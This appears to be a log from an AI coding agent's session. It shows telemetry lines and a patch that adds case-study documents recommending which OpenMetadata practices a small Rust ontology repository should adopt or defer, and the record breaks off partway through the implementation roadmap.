includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=jB4EpC%2FiH6AkJCYcyNJGjddELtpv8T2L50D6geL%2FnpNx9coQekbSfQ0siX61ev428OLmITLciftBDocGj5W6bwndLxy62Dz3coPwMQBekp5SHj%2FWrkZEXe5pT4KL\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2b1b8a1bdc6c-FRA\"} version=HTTP/1.1\n[2026-07-12T04:05:14.279Z] [INFO] \n[2026-07-12T04:05:14.292Z] [INFO] 2026-07-12T04:05:14.292050Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:05:14.292Z] [INFO] \n[2026-07-12T04:05:14.298Z] [INFO] 2026-07-12T04:05:14.296309Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.log_only: event.name=\"codex.api_request\" duration_ms=164 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:05:14.298Z] [INFO] 2026-07-12T04:05:14.296376Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.trace_safe: event.name=\"codex.api_request\" duration_ms=164 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:05:14.298Z] [INFO] 2026-07-12T04:05:14.296399Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: feedback_tags: endpoint=\"/models\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:05:14.298Z] [INFO] \n[2026-07-12T04:06:06.657Z] [INFO] 2026-07-12T04:06:06.645146Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const patch = \"*** Begin Patch\\n*** Delete File: /tmp/gh-issue-solver-1783828904396/.gitkeep\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\\n+# Issue 5 Case Study: Applying OpenMetadata Practices\\n+\\n+## Summary\\n+\\n+Issue: [link-foundation/meta-ontology#5](https://github.com/link-foundation/meta-ontology/issues/5)\\n+\\n+OpenMetadata is a mature metadata platform, while this repository is a small,\\n+Links Notation-based ontology. The useful lesson is therefore not to copy its\\n+Java/Python/TypeScript service stack. It is to adopt its boundaries: a canonical\\n+schema, stable entity identity, explicit relationships, versioned changes,\\n+connector isolation, API-first access, governance metadata, and automated\\n+quality checks.\\n+\\n+The recommended sequence is deliberately incremental. Strengthen the current\\n+in-process Rust model and lino data first; add interchange and ingestion\\n+contracts next; add persistence, search, HTTP, and a UI only when their roadmap\\n+milestones and measured usage justify the operational cost.\\n+\\n+Research was performed on 2026-07-12. OpenMetadata is fast-moving, so facts\\n+that can change are pinned to the observation date and links to primary sources.\\n+\\n+## Collected Data\\n+\\n+- [`source-inventory.md`](source-inventory.md) records the issue, PR, repository,\\n+  release, documentation, and source-code evidence consulted.\\n+- [`openmetadata-analysis.md`](openmetadata-analysis.md) describes transferable\\n+  practices, mismatches, risks, and existing components that can help.\\n+- [`requirements-and-solutions.md`](requirements-and-solutions.md) enumerates\\n+  every explicit and implied requirement and gives a solution and staged plan.\\n+- [`raw-data/issue-5.json`](raw-data/issue-5.json) preserves the issue snapshot.\\n+- [`raw-data/research-observations.json`](raw-data/research-observations.json)\\n+  preserves time-sensitive repository and PR observations in a compact,\\n+  reviewable form.\\n+\\n+No issue comments, PR conversation comments, inline review comments, or PR\\n+reviews existed when collected.\\n+\\n+## Findings\\n+\\n+### Practices to adopt now\\n+\\n+1. **Schema-first domain model.** Validate every persisted concept, definition,\\n+   mapping, language exponent, and relationship against a versioned contract.\\n+2. **Stable identity separate from display names.** Renames must not break\\n+   mappings, definitions, lineage, or future external references.\\n+3. **Typed graph edges.** Replace implicit string conventions with a small,\\n+   documented relation vocabulary and validate edge endpoints.\\n+4. **Provenance and change history.** Record source, author/agent, timestamp,\\n+   schema version, and change reason. Emit a deterministic change record when\\n+   loading or updating data.\\n+5. **Layered validation.** Separate parse validity, schema validity, graph\\n+   integrity, semantic quality, and repository word coverage so failures are\\n+   actionable.\\n+6. **Connector boundary.** Future importers should produce the same normalized\\n+   intermediate model; source-specific code must not leak into the core graph.\\n+7. **Contract-driven interfaces.** The library remains authoritative. CLI,\\n+   future HTTP, WASM, and importers consume the same service contracts.\\n+8. **Governance primitives.** Ownership, lifecycle state, classifications, and\\n+   policy references should be ordinary metadata, not UI-only annotations.\\n+\\n+### Practices to defer\\n+\\n+- A separate database and search index until the corpus or query latency needs it.\\n+- A workflow scheduler until multiple repeatable external ingestion jobs exist.\\n+- Microservices, event buses, and Kubernetes until deployment requirements demand\\n+  independent scaling or availability.\\n+- A broad connector catalog before one end-to-end connector contract is proven.\\n+- Enterprise RBAC before the HTTP service exists; design authorization fields now,\\n+  enforce them at the service boundary later.\\n+\\n+## Target Architecture\\n+\\n+```text\\n+source files / future connectors\\n+              |\\n+              v\\n+      normalized import records\\n+              |\\n+              v\\n+ parse -> schema -> graph -> semantic validation\\n+              |\\n+              v\\n+     versioned ontology service\\n+       /          |          \\\\\\n+     CLI       future API    WASM/UI\\n+                  |\\n+          optional persistence/search\\n+```\\n+\\n+The pipeline is the important boundary. Each consumer sees one validated model;\\n+each importer produces one normalized representation.\\n+\\n+## Decision Matrix\\n+\\n+| OpenMetadata practice | Fit | Decision |\\n+| --- | --- | --- |\\n+| Canonical schema and generated/typed models | High | Adopt incrementally |\\n+| Stable IDs, names, ownership, tags, versions | High | Add to domain model |\\n+| Typed relationships and lineage | High | Add a relation vocabulary |\\n+| Source-to-sink connector topology | High | Adapt as a small Rust trait pipeline |\\n+| REST resources and JSON Patch | Medium | Design contracts now; implement at M3 |\\n+| Change events and webhooks | Medium | Start with deterministic local events |\\n+| Data quality tests and observability | Medium | Adapt to ontology integrity rules |\\n+| Search index | Low today | Keep an interface; defer infrastructure |\\n+| Airflow-style workflow scheduling | Low today | Defer |\\n+| Full production deployment stack | Low today | Do not copy |\\n+\\n+## Completion Criteria\\n+\\n+This case study satisfies issue 5 when it:\\n+\\n+- preserves issue- and PR-related observations under this directory;\\n+- uses current primary online sources and distinguishes observations from\\n+  recommendations;\\n+- enumerates all issue requirements;\\n+- evaluates OpenMetadata practices against this repository rather than merely\\n+  summarizing OpenMetadata;\\n+- identifies reusable standards, crates, and libraries;\\n+- supplies a prioritized, testable implementation plan for every requirement.\\n+\\n+The analysis and plan meet those criteria. Product changes are intentionally\\n+proposed as future slices rather than bundled into this research PR.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\\n+# Source Inventory and Research Method\\n+\\n+## Method\\n+\\n+The investigation used the GitHub API/CLI for repository state and official\\n+OpenMetadata documentation and source repositories for technical claims.\\n+Marketing claims and time-sensitive counts are treated as observations, not as\\n+architecture requirements. Access date for every online source: 2026-07-12.\\n+\\n+## Local issue and pull request\\n+\\n+| Evidence | Observation |\\n+| --- | --- |\\n+| [Issue 5](https://github.com/link-foundation/meta-ontology/issues/5) | Open; asks for data collection, deep online research, complete requirements, solution options, plans, and component/library evaluation in one PR |\\n+| [PR 6](https://github.com/link-foundation/meta-ontology/pull/6) | Draft placeholder on branch `issue-5-e2602184e2c5` at collection time |\\n+| Issue comments API | No comments |\\n+| PR review comments API | No inline comments |\\n+| PR conversation comments API | No comments |\\n+| PR reviews API | No reviews |\\n+| [Issue 1 case study](../issue-1/README.md) | Establishes this repository's requirements/research/plan precedent |\\n+| [Issue 3 case study](../issue-3/README.md) | Establishes the collected-evidence and explicit-root-cause precedent |\\n+\\n+## OpenMetadata repository snapshot\\n+\\n+The [OpenMetadata repository](https://github.com/open-metadata/OpenMetadata)\\n+reported Apache-2.0 licensing, `main` as its default branch, and a multi-language\\n+codebase. The latest GitHub release observed was\\n+[`1.13.1-release`](https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release),\\n+published 2026-06-27. Counts such as stars, forks, connectors, schemas, or open\\n+issues are intentionally not used to choose this repository's architecture.\\n+\\n+Relevant upstream areas:\\n+\\n+- [`openmetadata-spec`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-spec):\\n+  canonical JSON Schemas and generated model inputs.\\n+- [`openmetadata-service`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-service):\\n+  server, repositories, APIs, authorization, and event handling.\\n+- [`ingestion`](https://github.com/open-metadata/OpenMetadata/tree/main/ingestion):\\n+  connector and workflow framework.\\n+- [`openmetadata-ui`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-ui):\\n+  web application kept separate from the metadata service.\\n+- [`openmetadata-clients`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-clients):\\n+  generated/client-facing access layers.\\n+- [Contribution guide](https://docs.open-metadata.org/v1.12.x/developers/contribute):\\n+  issue-based contribution and local build/test workflow.\\n+\\n+## Primary technical documentation\\n+\\n+| Topic | Source | Evidence used |\\n+| --- | --- | --- |\\n+| Metadata standard | [Metadata Standard](https://docs.open-metadata.org/v1.11.x/api-reference/main-concepts/metadata-standard) | Canonical, language-neutral schemas drive generated models and APIs |\\n+| REST conventions | [APIs](https://docs.open-metadata.org/v1.12.x/api-reference/main-concepts/metadata-standard/apis) | Schema-first resources, versioned `/api/v1` namespace, consistent collection/instance URIs |\\n+| Connector architecture | [Metadata ingestion deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/metadata-ingestion) | Source-to-sink pipeline, topology, result/error handling, fingerprint-based incremental ingestion |\\n+| Ingestion capabilities | [Ingestion overview](https://docs.open-metadata.org/v1.12.x/connectors/ingestion) | Metadata, usage, lineage, profiling, quality, and versioning are distinct workflows |\\n+| Lineage | [Lineage deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/lineage-ingestion) | Relationships are extracted, resolved, and published as graph data |\\n+| Connector schemas | [Define the JSON Schema](https://docs.open-metadata.org/latest/developers/contribute/developing-a-new-connector/define-json-schema) | One connection schema generates consistent Java, Python, and TypeScript types |\\n+| Governance | [Data Governance](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance) | Glossaries, classifications, ownership, and policies are first-class concepts |\\n+| Glossary semantics | [Glossary Term](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/glossary/glossary-term) | Definitions, synonyms, related terms, tags, and references form a semantic graph |\\n+| Domains | [Domains and Data Products](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/domains-%26-data-products) | Domain ownership and discoverable, documented products support decentralized stewardship |\\n+| Authorization | [Roles and Policies](https://docs.open-metadata.org/v1.12.x/how-to-guides/admin-guide/roles-policies) | Authorization evaluates actor, resource attributes, and operation |\\n+| Quality model | [Data Quality API](https://docs.open-metadata.org/v1.12.x/api-reference/data-quality) | Reusable definitions, applied cases, suites, and results separate rule from execution |\\n+| Observability | [Quality and Observability](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-quality-observability) | Tests, profiling, alerts, and incident handling form a feedback loop |\\n+| Deployment/security | [Deployment](https://docs.open-metadata.org/v1.12.x/deployment) and [Security](https://docs.open-metadata.org/v1.12.x/deployment/security) | Production operations and identity-provider integration are explicit concerns |\\n+\\n+## External standards and candidate components\\n+\\n+These are evaluated as interoperability options, not mandatory dependencies.\\n+\\n+| Need | Candidate | Intended use |\\n+| --- | --- | --- |\\n+| Data contract validation | [JSON Schema 2020-12](https://json-schema.org/draft/2020-12) | Portable interchange schema; keep lino canonical if desired |\\n+| Semantic graph exchange | [RDF 1.2](https://www.w3.org/TR/rdf12-concepts/) / [OWL 2](https://www.w3.org/TR/owl2-overview/) | Import/export and ontology-tool interoperability |\\n+| Graph constraints | [SHACL](https://www.w3.org/TR/shacl12-core/) | Express portable graph validity rules |\\n+| Provenance | [PROV-O](https://www.w3.org/TR/prov-o/) | Map source, agent, derivation, and activity metadata |\\n+| Lineage events | [OpenLineage](https://openlineage.io/docs/spec/) | Future pipeline lineage interchange, not core concept storage |\\n+| Rust serialization | [`serde`](https://docs.rs/serde/latest/serde/) | Typed interchange models |\\n+| Rust JSON Schema | [`schemars`](https://docs.rs/schemars/latest/schemars/) | Generate JSON Schema from Rust types |\\n+| Schema validation | [`jsonschema`](https://docs.rs/jsonschema/latest/jsonschema/) | Validate imported/exported JSON |\\n+| Stable identifiers | [`uuid`](https://docs.rs/uuid/latest/uuid/) | UUID identity when content-derived IDs are unsuitable |\\n+| HTTP service | [`axum`](https://docs.rs/axum/latest/axum/) | Existing roadmap choice for M3 |\\n+| API description | [`utoipa`](https://docs.rs/utoipa/latest/utoipa/) | Generate OpenAPI from Rust endpoint types |\\n+| Embedded search | [`tantivy`](https://docs.rs/tantivy/latest/tantivy/) | Optional local full-text index before external search infrastructure |\\n+| Graph algorithms | [`petgraph`](https://docs.rs/petgraph/latest/petgraph/) | Cycle, reachability, and integrity analysis if custom traversal becomes costly |\\n+\\n+## Reproducibility notes\\n+\\n+- Documentation versions are included in URLs where the official site exposed a\\n+  stable version. `latest` links should be rechecked before implementation.\\n+- The compact JSON snapshots record mutable facts. Full upstream repository\\n+  contents are not vendored because that would add millions of unrelated files\\n+  and create licensing/update noise.\\n+- Recommendations are reasoned adaptations to the current repository; they are\\n+  not claims that OpenMetadata implements the exact proposed Rust design.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\\n+# Deep Analysis: What Meta-Ontology Should Learn from OpenMetadata\\n+\\n+## Context and limits\\n+\\n+OpenMetadata solves enterprise metadata discovery, ingestion, governance,\\n+lineage, quality, and collaboration. Meta-ontology currently loads a small lino\\n+graph into an in-memory Rust library and exposes it through a CLI. Their shared\\n+domain is metadata graphs; their scale, product scope, and operational needs are\\n+not comparable.\\n+\\n+Accordingly, this analysis extracts invariants and interfaces. It rejects\\n+technology copying where the problem is absent.\\n+\\n+## 1. Canonical schema as the center of the system\\n+\\n+OpenMetadata defines entities and types in language-neutral schemas and derives\\n+models used by server, ingestion, and UI layers. This prevents three subtly\\n+different definitions of the same entity.\\n+\\n+Meta-ontology already has Rust structs plus conventions embedded in lino. The\\n+risk is that conventions such as tuple position, mapping kind, language, or\\n+definition source evolve without a machine-checkable contract.\\n+\\n+### Adaptation\\n+\\n+- Declare a `schema_version` for the dataset and interchange representation.\\n+- Keep one authoritative Rust domain model.\\n+- Derive a JSON Schema interchange contract from it, or check a hand-maintained\\n+  schema against generated fixtures.\\n+- Validate lino-to-model normalization independently of parser success.\\n+- Reject unknown fields only at stable boundaries; provide migrations when a\\n+  stored format changes.\\n+\\n+JSON is an interchange format here, not a replacement for Links Notation.\\n+\\n+## 2. Identity, names, and references\\n+\\n+Metadata systems must distinguish machine identity, fully qualified names,\\n+display names, and aliases. A graph that uses a mutable label as identity makes\\n+rename operations destructive.\\n+\\n+### Adaptation\\n+\\n+Add an opaque `ConceptId` and make names indexed attributes. Define uniqueness,\\n+normalization, alias, deprecation, and redirect rules. A mapping or definition\\n+references the ID; CLI lookup may accept a canonical name or alias. Initially,\\n+IDs can be explicitly stored strings. UUIDs are useful only if decentralized\\n+creation makes coordinated human-readable IDs unsafe.\\n+\\n+### Required invariants\\n+\\n+- IDs are unique and immutable.\\n+- A canonical name is unique within its namespace and language rules.\\n+- Every edge endpoint resolves.\\n+- Alias chains terminate and cannot fork ambiguously.\\n+- Removing a referenced concept requires an explicit migration or tombstone.\\n+\\n+## 3. Typed relationships and graph integrity\\n+\\n+OpenMetadata treats lineage, ownership, classification, glossary association,\\n+and containment as relationships with meaning, rather than arbitrary strings.\\n+Meta-ontology needs the same discipline on a much smaller scale.\\n+\\n+### Adaptation\\n+\\n+Define a relation registry containing at least:\\n+\\n+- relation ID and canonical name;\\n+- source and target concept categories;\\n+- cardinality;\\n+- inverse, symmetry, and transitivity declarations where meaningful;\\n+- lifecycle state and provenance.\\n+\\n+Do not infer logical properties from English labels. Validation should report\\n+the source file and record for dangling endpoints, invalid cardinality, and\\n+forbidden relation types. Cycles remain legal\u2014the ontology is intentionally a\\n+graph\u2014but selected acyclic relations such as alias redirects can be checked.\\n+\\n+## 4. Provenance, versioning, and change events\\n+\\n+OpenMetadata preserves entity versions and uses source fingerprints to avoid\\n+unnecessary ingestion updates. Both ideas transfer well.\\n+\\n+### Adaptation\\n+\\n+Each imported assertion should be able to carry:\\n+\\n+- source URI or source document;\\n+- source record/version and retrieval time;\\n+- creating agent (human, connector, or migration);\\n+- confidence or review state when the assertion is inferred;\\n+- license/usage note for externally sourced descriptions;\\n+- deterministic content fingerprint.\\n+\\n+The loader can compare fingerprints and produce `Created`, `Updated`,\\n+`Unchanged`, `Deprecated`, and `Rejected` records. Start with newline-delimited\\n+JSON written by an explicit command. A database event table, webhook, or broker\\n+is unnecessary until another process consumes events.\\n+\\n+This also supports reproducible case studies: a claim can point to its source\\n+and the exact import decision.\\n+\\n+## 5. Ingestion as a normalized pipeline\\n+\\n+OpenMetadata connector code separates source extraction from normalized entity\\n+publication and uses a declarative topology for parent/child traversal.\\n+\\n+### Adaptation\\n+\\n+Use small Rust interfaces:\\n+\\n+```text\\n+Source -> RawRecord -> Normalizer -> CandidateAssertion\\n+       -> Validator -> OntologyChange -> Sink/Report\\n+```\\n+\\n+The first implementation should be a fixture connector, not a large catalog.\\n+It must demonstrate discovery, normalization, dry-run, idempotency,\\n+checkpointing, structured errors, provenance, and a second unchanged run.\\n+\\n+Connector capability declarations should state which entity/relation kinds are\\n+supported. Configuration must be typed, secrets must not appear in reports, and\\n+partial failures must not silently create a partially valid graph.\\n+\\n+## 6. Layered quality and observability\\n+\\n+OpenMetadata separates reusable test definitions, applications of those tests,\\n+suites, executions, and results. Meta-ontology can adopt that conceptual model\\n+without building a scheduler or UI.\\n+\\n+### Layers\\n+\\n+1. **Syntax:** lino parses.\\n+2. **Shape:** records conform to the versioned model.\\n+3. **Referential integrity:** IDs and relation endpoints resolve.\\n+4. **Semantic constraints:** cardinality, relation domain/range, alias rules,\\n+   required definition/language coverage.\\n+5. **Quality policy:** provenance, ownership, review status, mapping coverage,\\n+   duplicate/suspicious definitions.\\n+6. **Repository policy:** files format, tests pass, word coverage, size limits.\\n+\\n+Return stable diagnostic codes with file/record locations. Produce a JSON report\\n+for CI in addition to human output. Trend history and alert routing should wait\\n+until repeated scheduled validation exists.\\n+\\n+## 7. Governance belongs in the model\\n+\\n+OpenMetadata models ownership, glossaries, classifications, domains, policies,\\n+and lifecycle status. For meta-ontology, the immediate value is accountability\\n+and explainability, not enterprise access control.\\n+\\n+### Adaptation\\n+\\n+- Add optional owner/steward references at dataset, namespace, and concept level.\\n+- Define lifecycle values such as `draft`, `reviewed`, `stable`, `deprecated`.\\n+- Separate descriptive classification from security policy.\\n+- Let policies refer to metadata attributes so the future service can evaluate\\n+  actor + resource + operation.\\n+- Record review decisions as provenance rather than overwriting history.\\n+\\n+Authentication and authorization enforcement belongs at the future HTTP/API\\n+boundary. The library should expose policy-relevant attributes without deciding\\n+who the current user is.\\n+\\n+## 8. API and client boundaries\\n+\\n+OpenMetadata's schema-first REST API demonstrates the value of consistent\\n+resource naming and shared types. Meta-ontology's M3 service should not expose\\n+internal loader structs directly.\\n+\\n+### Proposed resources\\n+\\n+- `/api/v1/concepts` and `/api/v1/concepts/{id}`;\\n+- `/api/v1/relations` and graph traversal endpoints;\\n+- `/api/v1/definitions`, `/mappings`, and `/languages`;\\n+- `/api/v1/validation-runs` and `/changes`;\\n+- explicit import/export endpoints with dry-run support.\\n+\\n+Use cursor pagination, sparse field selection only when needed, structured\\n+errors, ETags for optimistic concurrency, and OpenAPI generation. Defer JSON\\n+Patch until partial updates and conflict semantics are fully specified.\\n+\\n+## 9. Search and discovery\\n+\\n+OpenMetadata uses dedicated indexing because it serves a large, heterogeneous\\n+catalog. The current ontology can search normalized in-memory fields.\\n+\\n+Define a `SearchIndex` interface only after search semantics are specified:\\n+exact ID/name, alias, language-aware text, relation filters, and ranking. A\\n+linear implementation is the correct baseline. Tantivy is a plausible embedded\\n+step if benchmarks show a need; an external cluster is not.\\n+\\n+## 10. Security and operations\\n+\\n+OpenMetadata documents authentication, authorization, secrets, upgrades,\\n+backups, and production deployment. These are reminders that a service boundary\\n+creates obligations.\\n+\\n+Before M3 is production-ready, specify:\\n+\\n+- read-only versus mutation endpoints;\\n+- authentication and authorization model;\\n+- request limits and payload limits;\\n+- secret handling for connectors;\\n+- audit/change retention;\\n+- schema/data migration and backup/restore procedures;\\n+- health, readiness, metrics, and structured logging;\\n+- threat tests for malformed graphs and expensive traversal.\\n+\\n+None of this requires adopting OpenMetadata's deployment topology today.\\n+\\n+## Risks and countermeasures\\n+\\n+| Risk | Countermeasure |\\n+| --- | --- |\\n+| Architecture astronautics | Require a measured use case and acceptance test for each infrastructure dependency |\\n+| Two canonical models (lino and JSON) | Define lino as storage syntax and Rust model as semantic authority; JSON is generated interchange |\\n+| Breaking old datasets | Version schemas and test migration fixtures |\\n+| Mutable names break links | Introduce stable IDs before importers or APIs |\\n+| Connector-specific core fields | Normalize behind a narrow candidate-assertion contract |\\n+| Unverifiable external claims | Require provenance and license metadata |\\n+| Quality rules become one opaque command | Layer checks and stable diagnostic codes |\\n+| Enterprise governance overwhelms MVP | Start with owner, lifecycle, provenance, and review status |\\n+| Search stack adds operations burden | Benchmark linear search; use embedded indexing before external services |\\n+| Upstream practices change | Pin source/version/date and re-evaluate at implementation time |\\n+\\n+## Recommended outcome\\n+\\n+The durable OpenMetadata lesson is contract coherence: schemas, ingestion,\\n+service APIs, governance, versioning, quality, and clients describe the same\\n+entities. Meta-ontology should build that coherence in-process first. A clean\\n+modular monolith can later move selected interfaces across process boundaries\\n+without redesigning the ontology.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\\n+# Requirements, Solutions, and Implementation Plan\\n+\\n+## Requirement derivation\\n+\\n+Issue 5 names OpenMetadata in its title and uses the repository's standard case\\n+study instruction body. The explicit requirements are R1-R6. R7-R10 are implied\\n+by \u201cuse best practices\u201d and by making the output reviewable and actionable.\\n+\\n+## Complete requirement list\\n+\\n+| ID | Requirement | Evidence | Delivered here |\\n+| --- | --- | --- | --- |\\n+| R1 | Collect issue-related data under `docs/case-studies/issue-5` | Issue body | Source inventory and compact snapshots |\\n+| R2 | Perform a deep case-study analysis | Issue body | Architectural comparison, adaptations, risks |\\n+| R3 | Search online for additional facts and data | Issue body | Versioned official docs, upstream source, standards |\\n+| R4 | List every requirement from the issue | Issue body | This table |\\n+| R5 | Propose possible solutions and a plan for each requirement | Issue body | Requirement dispositions and phased plan below |\\n+| R6 | Check existing components/libraries that solve or assist each solution | Issue body | Standards/component evaluation in source inventory and below |\\n+| R7 | Identify OpenMetadata practices suitable for meta-ontology | Issue title | Ten practice areas with fit decisions |\\n+| R8 | Avoid adopting unsuitable complexity | \u201cbest practices\u201d requires contextual judgment | Explicit deferrals and decision gates |\\n+| R9 | Make recommendations verifiable | Deep analysis requirement | Acceptance tests, provenance, pinned sources |\\n+| R10 | Complete planning and execution in one PR | Issue body | All research artifacts are in PR 6 |\\n+\\n+## Solutions by requirement\\n+\\n+### R1: collect data\\n+\\n+**Options:** vendor the upstream repository; save complete API dumps; or preserve\\n+a curated, time-stamped evidence set with primary links.\\n+\\n+**Decision:** curated evidence. Vendoring a multi-gigabyte, Apache-licensed\\n+repository would be noisy and stale quickly. Full GitHub API payloads contain\\n+mostly transport metadata. The snapshots preserve the mutable facts needed to\\n+reproduce this analysis, while the inventory points to exact upstream areas.\\n+\\n+**Verification:** every local artifact named in the case-study README exists;\\n+mutable observations include an observation date; empty comment/review streams\\n+are recorded.\\n+\\n+### R2 and R7: deep analysis of applicable practices\\n+\\n+**Options:** feature checklist, technology-stack comparison, or domain-boundary\\n+analysis.\\n+\\n+**Decision:** domain-boundary analysis. It explains how schema, identity,\\n+relationships, provenance, ingestion, validation, governance, API, search, and\\n+operations affect this repository and explicitly states what not to copy.\\n+\\n+**Verification:** each practice has current-state context, an adaptation, and\\n+either an implementation slice or a deferral criterion.\\n+\\n+### R3: online research\\n+\\n+**Options:** secondary articles, current official docs, or source-only review.\\n+\\n+**Decision:** combine official versioned documentation with the upstream source\\n+tree and recognized standards. This gives design explanation plus inspectable\\n+implementation boundaries. Secondary claims are unnecessary.\\n+\\n+**Verification:** sources are primary, linked, access-dated, and separated from\\n+recommendations. Time-sensitive facts are not treated as permanent.\\n+\\n+### R4: enumerate requirements\\n+\\n+**Decision:** assign stable IDs to explicit and implied requirements. This avoids\\n+mistaking a long architectural summary for issue completion.\\n+\\n+**Verification:** every phrase in the issue body maps to R1-R6; the title's\\n+\u201cbest practices\u201d goal maps to R7-R9; single-PR completion maps to R10.\\n+\\n+### R5: solutions and plans\\n+\\n+**Decision:** use thin vertical slices, each ending in data fixtures, library\\n+behavior, CLI behavior, diagnostics, and tests. Avoid a \u201cplatform rewrite\u201d plan.\\n+\\n+**Verification:** the phased plan below has dependencies, acceptance criteria,\\n+and stop/go gates.\\n+\\n+### R6: components and libraries\\n+\\n+**Decision:** prefer standards and focused Rust crates over an OpenMetadata\\n+runtime dependency. OpenMetadata can interoperate later via JSON/RDF/OpenLineage\\n+or a purpose-built connector.\\n+\\n+| Capability | Build/adopt decision | Candidate |\\n+| --- | --- | --- |\\n+| Typed serialization | Adopt | `serde` |\\n+| JSON Schema generation | Prototype and compare generated diff in CI | `schemars` |\\n+| JSON Schema validation | Adopt at interchange boundary | `jsonschema` |\\n+| Stable opaque IDs | Start with explicit IDs; use crate if UUIDs chosen | `uuid` |\\n+| Graph algorithms | Keep current code until complexity warrants dependency | `petgraph` |\\n+| RDF/OWL exchange | Design mapping first; evaluate maintained Rust libraries with fixtures | W3C RDF/OWL |\\n+| Provenance vocabulary | Map internal provenance fields | PROV-O |\\n+| Constraint exchange | Export selected rules later | SHACL |\\n+| HTTP API | Use existing roadmap selection | `axum` |\\n+| OpenAPI | Generate from endpoint/model types | `utoipa` |\\n+| Search | Linear baseline, then benchmark embedded option | `tantivy` |\\n+| Pipeline lineage | Interoperate only when pipeline entities exist | OpenLineage |\\n+\\n+Crates must be re-evaluated for maintenance, license, MSRV, WASM compatibility,\\n+and dependency footprint when their slice begins. Listing one is not approval to\\n+add it.\\n+\\n+### R8: control complexity\\n+\\n+**Decision:** use decision gates:\\n+\\n+- no database until persistence, concurrency, or corpus size requires it;\\n+- no search service until a benchmark fails an agreed latency target;\\n+- no scheduler until at least two recurring connectors exist;\\n+- no distributed components until independent scaling or availability is a\\n+  documented requirement;\\n+- no authorization engine until mutations cross a service boundary.\\n+\\n+### R9: verifiability\\n+\\n+**Decision:** each implementation slice starts with fixtures and failing tests.\\n+All imports expose provenance and a dry-run report. Diagnostics have stable\\n+codes. Benchmarks, not analogy, trigger infrastructure.\\n+\\n+### R10: single-PR execution\\n+\\n+**Decision:** PR 6 contains the complete research deliverable and future plans.\\n+The product slices remain separately reviewable future work because implementing\\n+all of OpenMetadata's capabilities would violate R8 and the issue asks for\\n+solution proposals/plans, not a platform rewrite.\\n+\\n+## Prioritized implementation roadmap\\n+\\n+### Phase 0: accept this architecture record\\n+\\n+Deliverables:\\n+\\n+- this case study and source inventory;\\n+- explicit decisions and deferrals;\\n+- tracked follow-up issues for approved phases.\\n+\\n+Acceptance: documentation links pass; local CI passes; reviewers can trace each\\n+requirement to a delivered artifact.\\n+\\n+### Phase 1: versioned identity and validation\\n+\\n+Dependencies: none.\\n+\\n+1. Add failing fixtures for duplicate IDs, dangling edges, invalid relation\\n+   domain/range, ambiguous aliases, and unsupported schema versions.\\n+2. Introduce `ConceptId`, dataset `schema_version`, lifecycle state, and source\\n+   location without changing CLI display behavior.\\n+3. Add layered validators and stable diagnostic codes.\\n+4. Add `validate --format human|json` and golden reports.\\n+5. Provide a migration for current lino fixtures.\\n+\\n+Acceptance:\\n+\\n+- all current data migrates without semantic loss;\\n+- invalid fixtures fail at the intended validation layer;\\n+- a rename preserves ID-based references;\\n+- CLI output remains backward compatible unless explicitly versioned.\\n+\\n+### Phase 2: provenance and deterministic changes\\n+\\n+Dependencies: Phase 